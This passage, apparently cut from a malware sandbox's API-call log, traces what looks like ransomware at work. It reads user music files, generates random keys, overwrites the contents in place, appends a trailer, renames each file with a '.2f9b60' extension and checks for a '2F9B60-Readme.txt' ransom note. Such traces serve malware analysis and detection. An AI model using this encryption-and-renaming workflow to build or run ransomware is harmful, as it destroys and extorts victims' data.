(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab6d0) returned 1 [0139.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0139.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b670) returned 1 [0139.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b640) returned 1 [0139.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205dcd0 [0139.596] wcscat (in: _Dest=0x4205dcd0, _Source="00b73891a44a2416" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\00b73891a44a2416") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\00b73891a44a2416" [0139.596] wcscat (in: _Dest=0x4205dcd0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\00b73891a44a2416.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\00b73891a44a2416.2f9b60" [0139.596] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\00b73891a44a2416.2f9b60", NtPathName=0x394bfdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\00b73891a44a2416.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0139.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x107cc0 [0139.596] NtSetInformationFile (FileHandle=0x1bac, IoStatusBlock=0x394bfe90, FileInformation=0x107cc0, Length=0xb4, FileInformationClass=0xa) returned 0x0 [0139.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107cc0) returned 1 [0139.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051690) returned 1 [0139.599] NtQueryInformationFile (in: FileHandle=0x1bac, IoStatusBlock=0x394bfe58, FileInformation=0x394bfe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x394bfe58, FileInformation=0x394bfe68) returned 0x0 [0139.599] NtSetInformationFile (FileHandle=0x1bac, IoStatusBlock=0x394bfe58, FileInformation=0x394bfe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0139.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dcd0) returned 1 [0139.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bac0) returned 1 [0139.602] FlushFileBuffers (hFile=0x1bac) returned 1 [0139.624] CloseHandle (hObject=0x1bac) returned 1 [0139.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205dcd0 [0139.626] wcscpy (in: _Dest=0x4205dcd0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\" [0139.626] wcscat (in: _Dest=0x4205dcd0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\2F9B60-Readme.txt" [0139.626] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\2f9b60-readme.txt")) returned 0x20 [0139.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dcd0) returned 1 [0139.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a350) returned 1 Thread: id = 2136 os_tid = 0x14e4 [0139.605] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\Yizg_G7M7CDc.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\yizg_g7m7cdc.wav")) returned 0x20 [0139.605] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\Yizg_G7M7CDc.wav", dwFileAttributes=0x20) returned 1 [0139.606] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\Yizg_G7M7CDc.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\yizg_g7m7cdc.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b94 [0139.606] GetFileSizeEx (in: hFile=0x1b94, lpFileSize=0x3990fa20 | out: lpFileSize=0x3990fa20*=10993) returned 1 [0139.606] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x2aed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.606] ReadFile (in: hFile=0x1b94, lpBuffer=0x3990f9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3990f9e8, lpOverlapped=0x0 | out: lpBuffer=0x3990f9a0*, lpNumberOfBytesRead=0x3990f9e8*=0x4, lpOverlapped=0x0) returned 1 [0139.607] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b640 [0139.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b670 [0139.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b010 [0139.608] NtQuerySystemTime (in: CurrentTime=0x3990f8e0 | out: CurrentTime=0x3990f8e0*=132462177448534000) returned 0x0 [0139.608] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x1dd9ae4d [0139.608] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x7b7bd4b8 [0139.608] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x521e4161 [0139.608] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x61c76162 [0139.608] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x3cca717d [0139.608] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x502efed2 [0139.608] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x3511d552 [0139.608] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x202da459 [0139.608] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x711b0504 [0139.608] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x114b9bdb [0139.608] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x19061963 [0139.608] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x2e129d29 [0139.608] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x73ee2ce7 [0139.608] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x2aa1805b [0139.608] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x49f42abb [0139.609] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x39c404f1 [0139.609] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x63063dfc [0139.609] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x353f1cc8 [0139.609] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x2b05c11a [0139.609] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x1afab5f5 [0139.609] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x23ce742b [0139.609] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x1007d043 [0139.609] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x1adf8261 [0139.609] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x48af0a5b [0139.609] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x41ab967c [0139.609] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x573c7586 [0139.609] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x3a14907a [0139.609] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x533c21bf [0139.609] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x70261520 [0139.609] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x26325e2a [0139.609] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x329af17c [0139.609] RtlRandomEx (in: Seed=0x3990f8d0 | out: Seed=0x3990f8d0) returned 0x474589e8 [0139.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b5b0 [0139.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b310 [0139.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b010) returned 1 [0139.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b640) returned 1 [0139.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b640 [0139.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b640) returned 1 [0139.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42161180 [0139.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42164d90 [0139.622] ReadFile (in: hFile=0x1b94, lpBuffer=0x42161180, nNumberOfBytesToRead=0x2af1, lpNumberOfBytesRead=0x3990f8d0, lpOverlapped=0x0 | out: lpBuffer=0x42161180*, lpNumberOfBytesRead=0x3990f8d0*=0x2af1, lpOverlapped=0x0) returned 1 [0139.623] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.623] WriteFile (in: hFile=0x1b94, lpBuffer=0x42164d90*, nNumberOfBytesToWrite=0x2af1, lpNumberOfBytesWritten=0x3990f8d4, lpOverlapped=0x0 | out: lpBuffer=0x42164d90*, lpNumberOfBytesWritten=0x3990f8d4*=0x2af1, lpOverlapped=0x0) returned 1 [0139.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abbb0 [0139.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0139.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0139.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42164d90) returned 1 [0139.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42161180) returned 1 [0139.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cda01f0 [0139.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0139.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0139.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cda0230 [0139.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0139.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab6d0 [0139.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab6d0) returned 1 [0139.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x168120 [0139.632] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0139.632] WriteFile (in: hFile=0x1b94, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3990f9f0, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x3990f9f0*=0x112, lpOverlapped=0x0) returned 1 [0139.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab6d0 [0139.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab6d0) returned 1 [0139.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab6d0 [0139.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5f0 [0139.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b640 [0139.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b640) returned 1 [0139.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd977b0 [0139.635] sprintf (in: _Dest=0x1cd977b0, _Format="%c%c" | out: _Dest="64") returned 2 [0139.635] sprintf (in: _Dest=0x1cd977b2, _Format="%c%c" | out: _Dest="8c") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977b4, _Format="%c%c" | out: _Dest="52") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977b6, _Format="%c%c" | out: _Dest="a3") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977b8, _Format="%c%c" | out: _Dest="77") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977ba, _Format="%c%c" | out: _Dest="cc") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977bc, _Format="%c%c" | out: _Dest="aa") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977be, _Format="%c%c" | out: _Dest="7b") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977c0, _Format="%c%c" | out: _Dest="04") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977c2, _Format="%c%c" | out: _Dest="5c") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977c4, _Format="%c%c" | out: _Dest="32") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977c6, _Format="%c%c" | out: _Dest="e1") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977c8, _Format="%c%c" | out: _Dest="70") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977ca, _Format="%c%c" | out: _Dest="ec") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977cc, _Format="%c%c" | out: _Dest="c7") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977ce, _Format="%c%c" | out: _Dest="d8") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977d0, _Format="%c%c" | out: _Dest="d3") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977d2, _Format="%c%c" | out: _Dest="63") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977d4, _Format="%c%c" | out: _Dest="da") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977d6, _Format="%c%c" | out: _Dest="f1") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977d8, _Format="%c%c" | out: _Dest="38") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977da, _Format="%c%c" | out: _Dest="e6") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977dc, _Format="%c%c" | out: _Dest="3b") returned 2 [0139.636] sprintf (in: _Dest=0x1cd977de, _Format="%c%c" | out: _Dest="2c") returned 2 [0139.637] sprintf (in: _Dest=0x1cd977e0, _Format="%c%c" | out: _Dest="f4") returned 2 [0139.637] sprintf (in: _Dest=0x1cd977e2, _Format="%c%c" | out: _Dest="2c") returned 2 [0139.637] sprintf (in: _Dest=0x1cd977e4, _Format="%c%c" | out: _Dest="27") returned 2 [0139.637] sprintf (in: _Dest=0x1cd977e6, _Format="%c%c" | out: _Dest="8b") returned 2 [0139.637] sprintf (in: _Dest=0x1cd977e8, _Format="%c%c" | out: _Dest="7f") returned 2 [0139.637] sprintf (in: _Dest=0x1cd977ea, _Format="%c%c" | out: _Dest="61") returned 2 [0139.637] sprintf (in: _Dest=0x1cd977ec, _Format="%c%c" | out: _Dest="87") returned 2 [0139.637] sprintf (in: _Dest=0x1cd977ee, _Format="%c%c" | out: _Dest="47") returned 2 [0139.637] RtlInitAnsiString (in: DestinationString=0x3990fa68, SourceString="648c52a377ccaa7b045c32e170ecc7d8d363daf138e63b2cf42c278b7f618747" | out: DestinationString="648c52a377ccaa7b045c32e170ecc7d8d363daf138e63b2cf42c278b7f618747") [0139.637] RtlAnsiStringToUnicodeString (in: DestinationString=0x3990fa38, SourceString="648c52a377ccaa7b045c32e170ecc7d8d363daf138e63b2cf42c278b7f618747", AllocateDestinationString=1 | out: DestinationString="648c52a377ccaa7b045c32e170ecc7d8d363daf138e63b2cf42c278b7f618747") returned 0x0 [0139.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b86baf0 [0139.637] RtlFreeAnsiString (AnsiString="6") [0139.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab6d0) returned 1 [0139.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5f0) returned 1 [0139.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x168120) returned 1 [0139.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0230) returned 1 [0139.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0139.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda01f0) returned 1 [0139.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abbb0) returned 1 [0139.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b670) returned 1 [0139.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b5b0) returned 1 [0139.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b310) returned 1 [0139.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205dcd0 [0139.639] wcscat (in: _Dest=0x4205dcd0, _Source="648c52a377ccaa7b" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\648c52a377ccaa7b") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\648c52a377ccaa7b" [0139.639] wcscat (in: _Dest=0x4205dcd0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\648c52a377ccaa7b.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\648c52a377ccaa7b.2f9b60" [0139.639] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\648c52a377ccaa7b.2f9b60", NtPathName=0x3990fa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\648c52a377ccaa7b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0139.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x107cc0 [0139.639] NtSetInformationFile (FileHandle=0x1b94, IoStatusBlock=0x3990fab0, FileInformation=0x107cc0, Length=0xb4, FileInformationClass=0xa) returned 0x0 [0139.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107cc0) returned 1 [0139.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051690) returned 1 [0139.641] NtQueryInformationFile (in: FileHandle=0x1b94, IoStatusBlock=0x3990fa78, FileInformation=0x3990fa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3990fa78, FileInformation=0x3990fa88) returned 0x0 [0139.641] NtSetInformationFile (FileHandle=0x1b94, IoStatusBlock=0x3990fa78, FileInformation=0x3990fa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0139.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dcd0) returned 1 [0139.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86baf0) returned 1 [0139.644] FlushFileBuffers (hFile=0x1b94) returned 1 [0139.648] CloseHandle (hObject=0x1b94) returned 1 [0139.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205dcd0 [0139.650] wcscpy (in: _Dest=0x4205dcd0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\" [0139.650] wcscat (in: _Dest=0x4205dcd0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\2F9B60-Readme.txt" [0139.650] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\2f9b60-readme.txt")) returned 0x20 [0139.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dcd0) returned 1 [0139.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a2c0) returned 1 Thread: id = 2137 os_tid = 0x14e8 [0139.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b8632d0 [0139.646] wcscpy (in: _Dest=0x1b8632d0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" [0139.646] wcscat (in: _Dest=0x1b8632d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\" [0139.646] wcscat (in: _Dest=0x1b8632d0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\*" [0139.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20501de0 [0139.646] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\*", lpFindFileData=0x20501de0 | out: lpFindFileData=0x20501de0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9e030 [0139.647] wcscmp (_String1=".", _String2=".") returned 0 [0139.647] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x20501de0 | out: lpFindFileData=0x20501de0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.647] wcscmp (_String1="..", _String2=".") returned 1 [0139.647] wcscmp (_String1="..", _String2="..") returned 0 [0139.647] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x20501de0 | out: lpFindFileData=0x20501de0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSharp", cAlternateFileName="")) returned 1 [0139.647] wcscmp (_String1="CSharp", _String2=".") returned 1 [0139.647] wcscmp (_String1="CSharp", _String2="..") returned 1 [0139.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x107cc0 [0139.648] wcscpy (in: _Dest=0x107cc0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" [0139.648] wcscat (in: _Dest=0x107cc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\" [0139.648] wcscat 